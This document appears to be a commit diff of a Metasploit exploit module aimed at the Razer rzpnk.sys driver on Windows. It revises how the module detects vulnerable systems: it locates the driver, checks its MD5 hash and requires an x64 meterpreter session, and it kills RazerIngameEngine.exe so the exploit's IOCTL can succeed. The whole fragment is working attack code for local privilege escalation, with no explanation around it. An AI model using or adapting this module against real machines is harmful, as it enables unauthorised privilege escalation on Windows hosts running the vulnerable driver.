@@ -70,15 +70,22 @@ def initialize(info = {})
70
70
end
71
71
72
72
def check
73
- pid = session . sys . process [ 'RazerIngameEngine.exe' ]
74
- session . sys . process . kill ( pid ) unless pid . nil?
75
-
76
- pid = session . sys . process [ 'winlogon.exe' ]
77
- handle = get_handle ( pid )
78
- return Exploit ::CheckCode ::Safe if handle . nil?
73
+ # Validate that the driver has been loaded and that
74
+ # the version is the same as the one expected
75
+ client . sys . config . getdrivers . each do |d |
76
+ if d [ :basename ] . downcase == 'rzpnk.sys'
77
+ expected_checksum = 'b4598c05d5440250633e25933fff42b0'
78
+ target_checksum = client . fs . file . md5 ( d [ :filename ] )
79
+
80
+ if expected_checksum == Rex ::Text . to_hex ( target_checksum , '' )
81
+ return Exploit ::CheckCode ::Appears
82
+ else
83
+ return Exploit ::CheckCode ::Detected
84
+ end
85
+ end
86
+ end
79
87
80
- session . railgun . kernel32 . CloseHandle ( handle )
81
- Exploit ::CheckCode ::Vulnerable
88
+ Exploit ::CheckCode ::Safe
82
89
end
83
90
84
91
def exploit
@@ -90,14 +97,14 @@ def exploit
90
97
fail_with ( Failure ::NotVulnerable , 'Exploit not available on this system.' )
91
98
end
92
99
93
- if sysinfo [ 'Architecture' ] =~ /wow64/i
94
- fail_with ( Failure ::NoTarget , 'Running against WOW64 is not supported ' )
95
- elsif sysinfo [ 'Architecture' ] == ARCH_X86
96
- fail_with ( Failure ::NoTarget , 'Session host is x86, but only x64 targets are supported ' )
100
+ if session . platform != 'windows'
101
+ fail_with ( Failure ::NoTarget , 'This exploit requires a native Windows meterpreter session ' )
102
+ elsif session . arch != ARCH_X64
103
+ fail_with ( Failure ::NoTarget , 'This exploit only supports x64 Windows targets ' )
97
104
end
98
105
99
106
pid = session . sys . process [ 'RazerIngameEngine.exe' ]
100
- unless pid . nil?
107
+ if pid
101
108
# if this process is running, the IOCTL won't work but the process runs
102
109
# with user privileges so we can kill it
103
110
print_status ( "Found RazerIngameEngine.exe pid: #{ pid } , killing it..." )
0 commit comments